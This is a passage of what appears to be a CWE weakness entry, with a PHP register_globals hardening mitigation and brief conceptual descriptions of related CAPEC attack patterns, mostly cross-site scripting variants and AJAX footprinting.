Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.